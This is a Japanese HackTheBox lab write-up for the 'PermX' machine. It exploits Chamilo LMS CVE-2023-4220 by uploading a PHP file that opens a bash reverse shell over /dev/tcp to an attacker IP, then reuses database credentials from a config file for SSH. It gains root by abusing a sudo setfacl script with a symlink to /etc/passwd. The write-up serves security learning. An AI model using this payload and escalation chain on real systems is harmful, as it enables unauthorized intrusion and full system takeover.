HackTheBox Writeup：PermX

# はじめに
本記事はHackTheBoxのWriteupです。

Machineは、PermXです。

PermXでは、Chamiloの脆弱性とLinuxのACLについて学びます。

## スキャニング
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```console
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 20:03 JST
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.26s latency).

PORT      STATE  SERVICE      VERSION
22/tcp    open   ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp    open   http         Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
2976/tcp  closed cns-srv-port
10277/tcp closed unknown
27317/tcp closed unknown
31391/tcp closed unknown
33055/tcp closed unknown
33797/tcp closed unknown
35520/tcp closed unknown
37300/tcp closed unknown
39224/tcp closed unknown
41561/tcp closed unknown
46991/tcp closed unknown
57671/tcp closed unknown
58660/tcp closed unknown
61706/tcp closed unknown
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.69 seconds
Scan completed
```

上記ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後`permx.htb`にアクセスすると、以下の様な画面が表示されます。

![スクリーンショット 2024-09-02 20.15.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/f38fae30-694b-eb09-cea5-178af65aa8e7.png)

eラーニングのWebサイトが確認できました。

### サブドメイン
トップページでは特に気になる点は見当たらなかったため、引き続きffuwを用いてサブドメインの列挙を行います。レスポンス結果を踏まえて、レスポンスサイズの値に規則性はないため、`-fc`オプションを使用してステータスコードの302を除外します。

`$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -c -fc 302`

```console

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 592ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 293ms]
:: Progress: [4989/4989] :: Job [1/1] :: 154 req/sec :: Duration: [0:00:33] :: Errors: 0 ::
```

lmsのサブドメインを検出したのでアクセスすると、別のページが確認できました。

![スクリーンショット 2024-09-02 20.15.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/ceca0461-bc71-f1a1-ec3f-e6144a5f798d.png)

確認した結果、eラーニングおよびコンテンツ管理システムを提供するフリーソフトウェアのChamiloであることが分かりました。

## 脆弱性分析
足場を作るために利用可能な脆弱性を探します。

トップページのソースコードを確認すると、Chamiloのバージョンは1であることが推定できます。

![スクリーンショット 2024-09-02 21.18.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/a43be6a1-079f-a8f7-84ce-0331e1e5c849.png)

バージョン情報を参考に脆弱性を調査した結果、[CVE-2023-4220](https://nvd.nist.gov/vuln/detail/CVE-2023-4220)が見つかりました。

## システムハッキング
CVE-2023-4220の脆弱性を利用して足場を作ります。

### アクセスの獲得
脆弱性を利用するために、`main/inc/lib/javascript/bigupload/inc/bigUpload.php`ファイルにアクセスできることを確認します。

[(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution](https://starlabs.sg/advisories/23/23-4220/)の記事を参考にしながらエクスプロイトを行うためのコードを用意します。


- rce.php
    ```php
    <?php system("/bin/bash -c 'bash -i >& /dev/tcp/<IP address>/4444 0>&1'"); ?>
    ```

リバースシェルを取得するリスナーは事前に用意しておきます。

`$ nc -lnvp 4444`

以下のコマンドを実行して、用意した`rce.php`ファイルをアップロードします。

`curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`

アップロードが成功すると、以下の様なメッセージが出力されます。

```console
The file has successfully been uploaded.
```

以下のコマンドを実行して、リバースシェルを取得します。

`curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'`


```console
listening on [any] 4444 ...
connect to [Your IP address] from (UNKNOWN) [10.10.11.23] 43802
bash: cannot set terminal process group (1173): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ 
```

リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。

```console
┌──(kali㉿kali)-[~/shell]
└──$ stty raw -echo; fg
nc -lnvp 4444
<c/lib/javascript/bigupload/files$ export TERM=xterm                     
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ export SHELL=bash
```

### ユーザーフラグ
`/home`配下のディレクトリを確認すると、mtzユーザーが確認できます。

```console
total 4
drwxr-x--- 5 mtz mtz 4096 Sep  2 13:48 mtz
```

mtzユーザーの認証情報を探します。

調査を続けると、3306ポートでMariaDBのサービスが起動していることが確認できます。

`$ ss -aln -t4`

```
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*          
LISTEN 0      4096   127.0.0.53%lo:53        0.0.0.0:*          
LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*   
```

効率的に認証情報を探すため、LinPEASを利用します。

linpeas.shを実行すると、`/var/www/chamilo/app/config/configuration.php`ファイルからDBの認証情報を発見しました。

```console
┌───────────┐ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php:        'wget_password' => '',
/var/www/chamilo/app/config/configuration.php:    'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '****************';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
/var/www/chamilo/app/config/configuration.php://$_configuration['force_renew_password_at_first_login'] = true;
/var/www/chamilo/app/config/configuration.php://$_configuration['password_conversion'] = false;
/var/www/chamilo/cli-config.php:    'password' => $_configuration['db_password'],
/var/www/chamilo/main/admin/db.php:';if($Qd=="auth"){$Ce="";foreach((array)$_SESSION["pwds"]as$mh=>$Mf){foreach($Mf
/var/www/chamilo/main/admin/db.php:<tr><th>Password<td><input name="pass" id="pass" value="',h($L["pass"]),'" autocomplete="new-password">
/var/www/chamilo/main/install/configuration.dist.php:                'show_password_field' => false,
/var/www/chamilo/main/install/configuration.dist.php:                'show_password_field' => true,
/var/www/chamilo/main/install/configuration.dist.php:        'wget_password' => '',
/var/www/chamilo/main/install/configuration.dist.php:    'force_different_password' => false,
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['db_password'] = '{DATABASE_PASSWORD}';
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['password_encryption'] = '{ENCRYPT_PASSWORD}';
/var/www/chamilo/main/install/configuration.dist.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['force_renew_password_at_first_login'] = true;
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['password_conversion'] = false;
/var/www/chamilo/main/install/update-configuration.inc.php:        } elseif (stripos($line, '$userPasswordCrypted') !== false) {
/var/www/chamilo/plugin/buycourses/database.php:        'password' => '',
/var/www/chamilo/plugin/buycourses/database.php:    $paypalTable->addColumn('password', Types::STRING);
```

上記結果を基に`/var/www/chamilo/app/config/configuration.php`ファイルを確認します。

```php
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '***************';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
```

発見したDBの認証情報を用いてログインします。

`mysql -u chamilo -h localhost -p`

```console
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 51
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 
```

データベースを確認して、chamiloのデータベースに接続します。

```console
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| chamilo            |
| information_schema |
+--------------------+
2 rows in set (0.000 sec)
```

テーブルを確認します。

<details><summary>出力例</summary>

```console
MariaDB [chamilo]> show tables;
+-------------------------------------+
| Tables_in_chamilo                   |
+-------------------------------------+
| access_url                          |
| access_url_rel_course               |
| access_url_rel_course_category      |
| access_url_rel_session              |
| access_url_rel_user                 |
| access_url_rel_usergroup            |
| admin                               |
| announcement_rel_group              |
| block                               |
| branch_sync                         |
| branch_transaction                  |
| branch_transaction_status           |
| c_announcement                      |
| c_announcement_attachment           |
| c_attendance                        |
| c_attendance_calendar               |
| c_attendance_calendar_rel_group     |
| c_attendance_result                 |
| c_attendance_sheet                  |
| c_attendance_sheet_log              |
| c_blog                              |
| c_blog_attachment                   |
| c_blog_comment                      |
| c_blog_post                         |
| c_blog_rating                       |
| c_blog_rel_user                     |
| c_blog_task                         |
| c_blog_task_rel_user                |
| c_calendar_event                    |
| c_calendar_event_attachment         |
| c_calendar_event_repeat             |
| c_calendar_event_repeat_not         |
| c_chat_connected                    |
| c_course_description                |
| c_course_setting                    |
| c_document                          |
| c_dropbox_category                  |
| c_dropbox_feedback                  |
| c_dropbox_file                      |
| c_dropbox_person                    |
| c_dropbox_post                      |
| c_forum_attachment                  |
| c_forum_category                    |
| c_forum_forum                       |
| c_forum_mailcue                     |
| c_forum_notification                |
| c_forum_post                        |
| c_forum_thread                      |
| c_forum_thread_qualify              |
| c_forum_thread_qualify_log          |
| c_glossary                          |
| c_group_category                    |
| c_group_info                        |
| c_group_rel_tutor                   |
| c_group_rel_user                    |
| c_item_property                     |
| c_link                              |
| c_link_category                     |
| c_lp                                |
| c_lp_category                       |
| c_lp_category_user                  |
| c_lp_item                           |
| c_lp_item_view                      |
| c_lp_iv_interaction                 |
| c_lp_iv_objective                   |
| c_lp_view                           |
| c_notebook                          |
| c_online_connected                  |
| c_online_link                       |
| c_permission_group                  |
| c_permission_task                   |
| c_permission_user                   |
| c_quiz                              |
| c_quiz_answer                       |
| c_quiz_question                     |
| c_quiz_question_category            |
| c_quiz_question_option              |
| c_quiz_question_rel_category        |
| c_quiz_rel_category                 |
| c_quiz_rel_question                 |
| c_resource                          |
| c_role                              |
| c_role_group                        |
| c_role_permissions                  |
| c_role_user                         |
| c_student_publication               |
| c_student_publication_assignment    |
| c_student_publication_comment       |
| c_student_publication_rel_document  |
| c_student_publication_rel_user      |
| c_survey                            |
| c_survey_answer                     |
| c_survey_group                      |
| c_survey_invitation                 |
| c_survey_question                   |
| c_survey_question_option            |
| c_thematic                          |
| c_thematic_advance                  |
| c_thematic_plan                     |
| c_tool                              |
| c_tool_intro                        |
| c_userinfo_content                  |
| c_userinfo_def                      |
| c_wiki                              |
| c_wiki_conf                         |
| c_wiki_discuss                      |
| c_wiki_mailcue                      |
| career                              |
| chat                                |
| chat_video                          |
| class_item                          |
| class_user                          |
| course                              |
| course_category                     |
| course_module                       |
| course_rel_class                    |
| course_rel_user                     |
| course_rel_user_catalogue           |
| course_request                      |
| course_type                         |
| event_email_template                |
| event_sent                          |
| extra_field                         |
| extra_field_option_rel_field_option |
| extra_field_options                 |
| extra_field_rel_tag                 |
| extra_field_saved_search            |
| extra_field_values                  |
| fos_group                           |
| fos_user_user_group                 |
| grade_components                    |
| grade_model                         |
| gradebook_category                  |
| gradebook_certificate               |
| gradebook_evaluation                |
| gradebook_link                      |
| gradebook_linkeval_log              |
| gradebook_result                    |
| gradebook_result_log                |
| gradebook_score_display             |
| gradebook_score_log                 |
| hook_call                           |
| hook_event                          |
| hook_observer                       |
| language                            |
| legal                               |
| message                             |
| message_attachment                  |
| notification                        |
| openid_association                  |
| personal_agenda                     |
| personal_agenda_repeat              |
| personal_agenda_repeat_not          |
| promotion                           |
| room                                |
| search_engine_ref                   |
| sequence                            |
| sequence_condition                  |
| sequence_formula                    |
| sequence_method                     |
| sequence_resource                   |
| sequence_row_entity                 |
| sequence_rule                       |
| sequence_rule_condition             |
| sequence_rule_method                |
| sequence_type_entity                |
| sequence_valid                      |
| sequence_value                      |
| sequence_variable                   |
| session                             |
| session_category                    |
| session_rel_course                  |
| session_rel_course_rel_user         |
| session_rel_user                    |
| settings_current                    |
| settings_options                    |
| shared_survey                       |
| shared_survey_question              |
| shared_survey_question_option       |
| skill                               |
| skill_level                         |
| skill_level_profile                 |
| skill_profile                       |
| skill_rel_gradebook                 |
| skill_rel_profile                   |
| skill_rel_skill                     |
| skill_rel_user                      |
| skill_rel_user_comment              |
| specific_field                      |
| specific_field_values               |
| sys_announcement                    |
| sys_calendar                        |
| system_template                     |
| tag                                 |
| templates                           |
| ticket_assigned_log                 |
| ticket_category                     |
| ticket_category_rel_user            |
| ticket_message                      |
| ticket_message_attachments          |
| ticket_priority                     |
| ticket_project                      |
| ticket_status                       |
| ticket_ticket                       |
| track_course_ranking                |
| track_e_access                      |
| track_e_attempt                     |
| track_e_attempt_coeff               |
| track_e_attempt_recording           |
| track_e_course_access               |
| track_e_default                     |
| track_e_downloads                   |
| track_e_exercises                   |
| track_e_hotpotatoes                 |
| track_e_hotspot                     |
| track_e_item_property               |
| track_e_lastaccess                  |
| track_e_links                       |
| track_e_login                       |
| track_e_online                      |
| track_e_open                        |
| track_e_uploads                     |
| track_stored_values                 |
| track_stored_values_stack           |
| user                                |
| user_api_key                        |
| user_course_category                |
| user_friend_relation_type           |
| user_rel_course_vote                |
| user_rel_event_type                 |
| user_rel_tag                        |
| user_rel_user                       |
| usergroup                           |
| usergroup_rel_course                |
| usergroup_rel_question              |
| usergroup_rel_session               |
| usergroup_rel_user                  |
| usergroup_rel_usergroup             |
| version                             |
+-------------------------------------+
239 rows in set (0.002 sec)
```
</details>

userテーブルを確認すると、別の認証情報が確認できました。

```console
MariaDB [chamilo]> select * from user;
+----+---------+----------+--------------------+-----------------------+-----------------------+--------+---------+---------+---------------------+-----------------------+------------+-----------+-----------+--------------------------------------------------------------+-----------------+---------+---------------------------------------------+---------------------+------------+------------+--------------------+-----------------------+------------------------------------+-------------------+-------------+--------+---------------+-------------+------------+-------------+----------+----------+-------+-------------+----------+---------------------+-----------------+--------+--------+-------+------------+
| id | user_id | username | username_canonical | email_canonical       | email                 | locked | enabled | expired | credentials_expired | credentials_expire_at | expires_at | lastname  | firstname | password                                                     | phone           | address | salt                                        | last_login          | created_at | updated_at | confirmation_token | password_requested_at | roles                              | profile_completed | auth_source | status | official_code | picture_uri | creator_id | competences | diplomas | openarea | teach | productions | language | registration_date   | expiration_date | active | openid | theme | hr_dept_id |
+----+---------+----------+--------------------+-----------------------+-----------------------+--------+---------+---------+---------------------+-----------------------+------------+-----------+-----------+--------------------------------------------------------------+-----------------+---------+---------------------------------------------+---------------------+------------+------------+--------------------+-----------------------+------------------------------------+-------------------+-------------+--------+---------------+-------------+------------+-------------+----------+----------+-------+-------------+----------+---------------------+-----------------+--------+--------+-------+------------+
|  1 |       1 | admin    | admin              | admin@permx.htb       | admin@permx.htb       |      0 |       1 |       0 |                   0 | NULL                  | NULL       | Miller    | Davis     | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra | (000) 001 02 03 |         | awb0kMoTumbFvi22ojwv.Pg92gFTMOt837kWsGVbJN4 | 2024-01-20 18:44:07 | NULL       | NULL       | NULL               | NULL                  | a:1:{i:0;s:16:"ROLE_SUPER_ADMIN";} |              NULL | platform    |      1 | ADMIN         |             |          0 | NULL        | NULL     | NULL     | NULL  | NULL        | english  | 2024-01-20 18:20:32 | NULL            |      1 | NULL   | NULL  |          0 |
|  2 |       2 | anon     | anon               | anonymous@example.com | anonymous@example.com |      0 |       1 |       0 |                   0 | NULL                  | NULL       | Anonymous | Joe       | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS |                 |         | Mr1pyTT.C/oEIPb/7ezOdrCDKM.KHb0nrXAUyIyt/MY | NULL                | NULL       | NULL       | NULL               | NULL                  | a:0:{}                             |              NULL | platform    |      6 | anonymous     |             |          0 | NULL        | NULL     | NULL     | NULL  | NULL        | english  | 2024-01-20 18:20:32 | NULL            |      1 | NULL   | NULL  |          0 |
+----+---------+----------+--------------------+-----------------------+-----------------------+--------+---------+---------+---------------------+-----------------------+------------+-----------+-----------+--------------------------------------------------------------+-----------------+---------+---------------------------------------------+---------------------+------------+------------+--------------------+-----------------------+------------------------------------+-------------------+-------------+--------+---------------+-------------+------------+-------------+----------+----------+-------+-------------+----------+---------------------+-----------------+--------+--------+-------+------------+
2 rows in set (0.000 sec)
```

パスワードはbcrypで暗号化されているため、hashcatを用いて解析を試みましたが、ウサギの穴でした。

結果的にDBの認証情報を用いてSSHでログインできました。

`ssh mtz@10.10.11.23`

```console
mtz@10.10.11.23's password: 
```

ログイン後、ユーザーフラグが確認できます。

```console
total 36
drwxr-x--- 5 mtz  mtz  4096 Sep  2 14:10 ./
drwxr-xr-x 3 root root 4096 Jan 20  2024 ../
lrwxrwxrwx 1 root root    9 Jan 20  2024 .bash_history -> /dev/null
-rw-r--r-- 1 mtz  mtz   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 mtz  mtz  3771 Jan  6  2022 .bashrc
drwx------ 2 mtz  mtz  4096 May 31 11:14 .cache/
drwxrwxr-x 3 mtz  mtz  4096 Sep  2 13:46 .local/
lrwxrwxrwx 1 root root    9 Jan 20  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 mtz  mtz   807 Jan  6  2022 .profile
drwx------ 2 mtz  mtz  4096 Jan 20  2024 .ssh/
-rw-r----- 1 root mtz    33 Sep  2 13:46 user.txt
```

### ルートフラグ
権限昇格を狙うにあたり以下のコマンドを実行して、`sudo`の権限を確認します。

コマンドの実行結果より`/opt/acl.sh`ファイルは、パスワードなしで実行できることが確認できます。

`$ sudo -l`

```console
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
```

`/opt/acl.sh`ファイルの権限を確認します。

```console
-rwxr-xr-x 1 root root 419 Jun  5 11:58 /opt/acl.sh*
```

`/opt/acl.sh`ファイルを参照すると、`setfacl`を実行することで拡張属性として特定のユーザーに対してアクセス権限を追加できることが分かります。

```shell
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
```

上記確認結果を踏まえて、`/opt/acl.sh`ファイルを利用することで権限昇格を行なえます。

例として`/etc/passwd`ファイルのシンボリックリンクを作成します。

`$ ln -s /etc/passwd passwd_link`

```console
lrwxrwxrwx 1 mtz  mtz    11 Sep  2 14:19 passwd_link -> /etc/passwd

```

以下の形式で`/opt/acl.sh`ファイルを実行します。

`$ sudo /opt/acl.sh mtz rw /home/mtz/passwd_link`

拡張属性としてmtzユーザーに対するアクセス権限が追加されたことが確認できます。

`$ getfacl /etc/passwd`


```console
getfacl: Removing leading '/' from absolute path names
# file: etc/passwd
# owner: root
# group: root
user::rw-
user:mtz:rw-
group::r--
mask::rw-
other::r--
```

仕上げに`/etc/passwd`ファイルを編集して、mtzユーザーのuidを0に変更します。

```console
mtz:x:0:1000:mtz:/home/mtz:/bin/bash
```

`/etc/passwd`ファイルを編集後、再度mtzユーザーにログインします。

`$ su - mtz`

ルートユーザーに昇格できました。

`$ id`

```console
uid=0(root) gid=1000(mtz) groups=1000(mtz)
```

# おわりに
ウサギの穴にハマりましたが、面白いMachineでした。